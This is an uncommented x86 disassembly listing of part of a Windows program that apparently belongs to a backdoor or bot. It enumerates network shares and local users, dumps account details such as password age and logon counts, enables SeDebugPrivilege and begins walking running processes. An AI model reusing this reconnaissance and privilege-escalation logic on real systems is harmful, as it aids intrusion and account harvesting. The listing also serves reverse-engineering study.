sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB568
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439758
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB50C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB6B4


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4A0
		push	off_439064[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4A0
		push	off_439060[eax*4]
		push	offset unk_4397E0
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4A0
		lea	eax, [eax+eax*2]
		push	off_439060[eax*4]
		push	offset unk_4397B8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB4FC
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB4EC
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB67C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439830
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB6B4


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB584
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A20
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4399EC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB6B4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB6B4


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567


loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------


loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DB240
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB240
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 2860000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB634
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DB03C
		push	offset unk_439D54
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------


loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DB03C
		push	eax
		push	offset dword_439D28
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 28C056Ch
		push	eax
		call	dword_4CB608
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB5E0
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------


loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB690
		mov	esi, eax


loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 28005AFh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB644, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CB628, ebx
		jz	loc_4198BB
		cmp	dword_4CB538, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB644
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB628
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB538
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
